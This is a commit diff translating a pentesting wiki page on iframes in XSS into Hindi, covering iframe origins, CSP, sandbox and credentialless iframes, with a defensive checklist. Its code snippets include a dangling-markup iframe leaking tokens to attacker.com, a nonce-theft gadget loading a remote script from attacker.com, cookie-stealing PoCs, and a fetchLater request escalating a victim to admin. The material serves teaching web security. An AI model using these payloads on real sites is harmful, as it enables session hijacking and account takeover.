Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:33:46 +00:00
parent 4062e80f7a
commit c3df6156d0

View File

@ -6,9 +6,9 @@
एक iframed पृष्ठ की सामग्री को इंगित करने के 3 तरीके हैं:
- `src` के माध्यम से एक URL इंगित करना (URL क्रॉस ओरिजिन या समान ओरिजिन हो सकता है)
- `src` के माध्यम से `data:` प्रोटोकॉल का उपयोग करके सामग्री इंगित करना
- `srcdoc` के माध्यम से सामग्री इंगित करना
- `src` के माध्यम से एक URL को इंगित करना (URL क्रॉस ओरिजिन या समान ओरिजिन हो सकता है)
- `src` के माध्यम से `data:` प्रोटोकॉल का उपयोग करके सामग्री को इंगित करना
- `srcdoc` के माध्यम से सामग्री को इंगित करना
**Parent & Child vars तक पहुँच**
```html
@ -45,7 +45,7 @@ var secret = "child secret"
alert(parent.secret)
</script>
```
यदि आप पिछले html को http सर्वर (जैसे `python3 -m http.server`) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, **माता-पिता किसी भी iframe के अंदर `secret` var तक पहुँच नहीं पाएंगे** और **केवल iframes if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में secret तक पहुँच सकते हैं।**\
यदि आप पिछले html को http सर्वर (जैसे `python3 -m http.server`) के माध्यम से एक्सेस करते हैं, तो आप देखेंगे कि सभी स्क्रिप्ट्स निष्पादित होंगी (क्योंकि इसे रोकने के लिए कोई CSP नहीं है)।, **माता-पिता किसी भी iframe के अंदर `secret` var तक पहुँच नहीं पाएंगे** और **केवल if2 और if3 (जिन्हें समान-साइट माना जाता है) ही मूल विंडो में secret तक पहुँच सकते हैं।**\
ध्यान दें कि if4 को `null` उत्पत्ति माना जाता है।
### CSP के साथ Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
@ -61,7 +61,7 @@ alert(parent.secret)
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### अन्य पेलोड जो जंगल में पाए गए <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### New (2023-2025) CSP bypass techniques with iframes
शोध समुदाय लगातार प्रतिबंधात्मक नीतियों को पराजित करने के लिए iframes का दुरुपयोग करने के रचनात्मक तरीकों की खोज कर रहा है। नीचे आप पिछले कुछ वर्षों में प्रकाशित सबसे उल्लेखनीय तकनीकों को पा सकते हैं:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** जब एक एप्लिकेशन HTML को दर्शाता है लेकिन एक मजबूत CSP स्क्रिप्ट निष्पादन को रोकता है, तो आप *dangling* `<iframe name>` विशेषता को इंजेक्ट करके संवेदनशील टोकन लीक कर सकते हैं। एक बार जब आंशिक मार्कअप पार्स हो जाता है, तो एक अलग मूल में चलने वाला हमलावर स्क्रिप्ट फ्रेम को `about:blank` पर नेविगेट करता है और `window.name` को पढ़ता है, जिसमें अब अगली उद्धरण चरित्र तक सब कुछ होता है (उदाहरण के लिए एक CSRF टोकन)। चूंकि पीड़ित संदर्भ में कोई JavaScript नहीं चलती है, इसलिए हमला आमतौर पर `script-src 'none'` से बच जाता है। एक न्यूनतम PoC है:
```html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
````
```javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
```
* **Nonce theft via same-origin iframe (2024)** CSP nonces DOM से हटा नहीं जाते; वे केवल DevTools में छिपे होते हैं। यदि एक हमलावर *same-origin* iframe इंजेक्ट कर सकता है (उदाहरण के लिए साइट पर HTML अपलोड करके) तो चाइल्ड फ्रेम सरलता से `document.querySelector('[nonce]').nonce` को क्वेरी कर सकता है और नई `<script nonce>` नोड्स बना सकता है जो नीति को संतुष्ट करती हैं, जिससे `strict-dynamic` के बावजूद पूर्ण JavaScript निष्पादन मिलता है। निम्नलिखित गैजेट एक मार्कअप इंजेक्शन को XSS में बढ़ाता है:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action hijacking (PortSwigger 2024)** एक पृष्ठ जो `form-action` निर्देश को छोड़ता है, उसके लॉगिन फॉर्म को एक इंजेक्टेड iframe या इनलाइन HTML से *re-targeted* किया जा सकता है ताकि पासवर्ड प्रबंधक स्वचालित रूप से क्रेडेंशियल्स को एक बाहरी डोमेन में भरें और सबमिट करें, भले ही `script-src 'none'` मौजूद हो। हमेशा `default-src` को `form-action` के साथ पूरा करें!
**Defensive notes (quick checklist)**
1. हमेशा *सभी* CSP निर्देश भेजें जो द्वितीयक संदर्भों को नियंत्रित करते हैं (`form-action`, `frame-src`, `child-src`, `object-src`, आदि)।
2. गुप्त होने के लिए nonces पर भरोसा न करें—`strict-dynamic` **और** इंजेक्शन बिंदुओं को समाप्त करें।
3. जब आपको अविश्वसनीय दस्तावेज़ों को एम्बेड करना हो तो `sandbox="allow-scripts allow-same-origin"` **बहुत सावधानी से** (या यदि आपको केवल स्क्रिप्ट निष्पादन अलगाव की आवश्यकता है तो बिना `allow-same-origin` के) उपयोग करें।
4. एक रक्षा-में-गहराई COOP+COEP तैनाती पर विचार करें; नया `<iframe credentialless>` विशेषता (§ नीचे) आपको ऐसा करने की अनुमति देता है बिना तीसरे पक्ष के एम्बेड्स को तोड़े।
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -126,24 +162,32 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
- स्क्रिप्ट का निष्पादन निषिद्ध है।
- कुछ APIs तक पहुँच अक्षम है।
- यह लिंक को अन्य ब्राउज़िंग संदर्भों के साथ बातचीत करने से रोकता है।
- `<embed>`, `<object>`, `<applet>`, या समान टैग के माध्यम से प्लगइन्स का उपयोग निषिद्ध है।
- सामग्री के शीर्ष-स्तरीय ब्राउज़िंग संदर्भ में सामग्री द्वारा नेविगेशन को रोका जाता है।
- `<embed>`, `<object>`, `<applet>` या समान टैग के माध्यम से प्लगइन्स का उपयोग निषिद्ध है।
- सामग्री के शीर्ष स्तर के ब्राउज़िंग संदर्भ में सामग्री द्वारा नेविगेशन को रोका जाता है।
- स्वचालित रूप से सक्रिय होने वाली सुविधाएँ, जैसे वीडियो प्लेबैक या फॉर्म नियंत्रणों का ऑटो-फोकस, अवरुद्ध होती हैं।
विशेषता का मान खाली छोड़ा जा सकता है (`sandbox=""`) ताकि उपरोक्त सभी प्रतिबंध लागू हों। वैकल्पिक रूप से, इसे विशिष्ट मानों की एक स्पेस-सेपरेटेड सूची पर सेट किया जा सकता है जो iframe को कुछ प्रतिबंधों से छूट देती है।
Tip: आधुनिक ब्राउज़र्स ग्रैन्युलर फ्लैग्स का समर्थन करते हैं जैसे `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, आदि। उन्हें संयोजित करें ताकि केवल एम्बेडेड एप्लिकेशन द्वारा आवश्यक न्यूनतम क्षमताएँ प्रदान की जा सकें।
विशेषता का मान खाली छोड़ा जा सकता है (`sandbox=""`) ताकि उपरोक्त सभी प्रतिबंध लागू हों। वैकल्पिक रूप से, इसे विशिष्ट मानों की स्पेस-सेपरेटेड सूची पर सेट किया जा सकता है जो iframe को कुछ प्रतिबंधों से छूट देती है।
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
जैसा कि [इस लेख](https://blog.slonser.info/posts/make-self-xss-great-again/) में बताया गया है, एक iframe में `credentialless` फ्लैग का उपयोग एक iframe के अंदर एक पृष्ठ को बिना क्रेडेंशियल भेजे लोड करने के लिए किया जाता है, जबकि iframe में लोड किए गए पृष्ठ की समान मूल नीति (SOP) को बनाए रखा जाता है।
जैसा कि [इस लेख](https://blog.slonser.info/posts/make-self-xss-great-again/) में बताया गया है, एक iframe में `credentialless` फ्लैग का उपयोग बिना क्रेडेंशियल्स भेजे एक पृष्ठ को iframe के अंदर लोड करने के लिए किया जाता है, जबकि iframe में लोड किए गए पृष्ठ की समान मूल नीति (SOP) को बनाए रखा जाता है।
यह iframe को समान SOP में लोड किए गए दूसरे iframe से संवेदनशील जानकारी तक पहुँचने की अनुमति देता है:
चूंकि **Chrome 110 (फरवरी 2023) में यह सुविधा डिफ़ॉल्ट रूप से सक्षम है** और यह स्पेक सभी ब्राउज़रों में *anonymous iframe* के नाम से मानकीकृत किया जा रहा है। MDN इसे इस प्रकार वर्णित करता है: “तीसरे पक्ष के iframes को एक नए, अस्थायी स्टोरेज विभाजन में लोड करने का एक तंत्र ताकि कोई कुकीज़, localStorage या IndexedDB वास्तविक मूल के साथ साझा न हों।” हमलावरों और रक्षकों के लिए परिणाम:
* विभिन्न credentialless iframes में स्क्रिप्ट्स **अभी भी समान शीर्ष-स्तरीय मूल साझा करते हैं** और DOM के माध्यम से स्वतंत्र रूप से इंटरैक्ट कर सकते हैं, जिससे मल्टी-iframe self-XSS हमले संभव हो जाते हैं (नीचे PoC देखें)।
* चूंकि नेटवर्क **क्रेडेंशियल-हटाया गया** है, iframe के अंदर कोई भी अनुरोध प्रभावी रूप से एक अनधिकृत सत्र के रूप में व्यवहार करता है - CSRF से सुरक्षित एंडपॉइंट आमतौर पर विफल होते हैं, लेकिन DOM के माध्यम से लीक होने वाले सार्वजनिक पृष्ठ अभी भी दायरे में हैं।
* एक credentialless iframe से उत्पन्न पॉप-अप को एक निहित `rel="noopener"` मिलता है, जिससे कुछ OAuth प्रवाह टूट जाते हैं।
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Exploit example: Self-XSS + CSRF
- शोषण उदाहरण: Self-XSS + CSRF
इस हमले में, हमलावर एक दुर्भावनापूर्ण वेबपृष्ठ तैयार करता है जिसमें 2 iframes होते हैं:
@ -163,7 +207,7 @@ document.forms[0].submit();
</html>
```
- दूसरा iframe जो वास्तव में उपयोगकर्ता को लॉग इन करता है (बिना `credentialless` ध्वज के)।
- एक और iframe जो वास्तव में उपयोगकर्ता को लॉग इन करता है (बिना `credentialless` ध्वज के)।
फिर, XSS से दूसरे iframe तक पहुंचना संभव है क्योंकि उनके पास समान SOP है और उदाहरण के लिए कुकी चुराने के लिए निष्पादित करना:
```javascript
@ -173,7 +217,7 @@ alert(window.top[1].document.cookie);
जैसा कि [इस लेख](https://blog.slonser.info/posts/make-self-xss-great-again/) में संकेत दिया गया है, API `fetchLater` एक अनुरोध को बाद में (एक निश्चित समय के बाद) निष्पादित करने के लिए कॉन्फ़िगर करने की अनुमति देता है। इसलिए, इसका दुरुपयोग किया जा सकता है, उदाहरण के लिए, एक हमलावर के सत्र में एक पीड़ित को लॉगिन करने के लिए (Self-XSS के साथ), एक `fetchLater` अनुरोध सेट करने के लिए (उदाहरण के लिए, वर्तमान उपयोगकर्ता का पासवर्ड बदलने के लिए) और हमलावर के सत्र से लॉगआउट करने के लिए। फिर, पीड़ित अपने सत्र में लॉगिन करता है और `fetchLater` अनुरोध निष्पादित होगा, पीड़ित का पासवर्ड हमलावर द्वारा सेट किए गए पासवर्ड में बदल जाएगा।
इस तरह, भले ही पीड़ित का URL iframe में लोड नहीं किया जा सकता (CSP या अन्य प्रतिबंधों के कारण), हमलावर अभी भी पीड़ित के सत्र में एक अनुरोध निष्पादित कर सकता है।
इस तरह, भले ही पीड़ित का URL एक iframe में लोड नहीं किया जा सकता (CSP या अन्य प्रतिबंधों के कारण), हमलावर अभी भी पीड़ित के सत्र में एक अनुरोध निष्पादित कर सकता है।
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## संदर्भ
* [PortSwigger Research CSP को बायपास करने के लिए फॉर्म हाईजैकिंग का उपयोग करना (मार्च 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: COEP वातावरण में आसानी से iframes एम्बेड करें (फरवरी 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}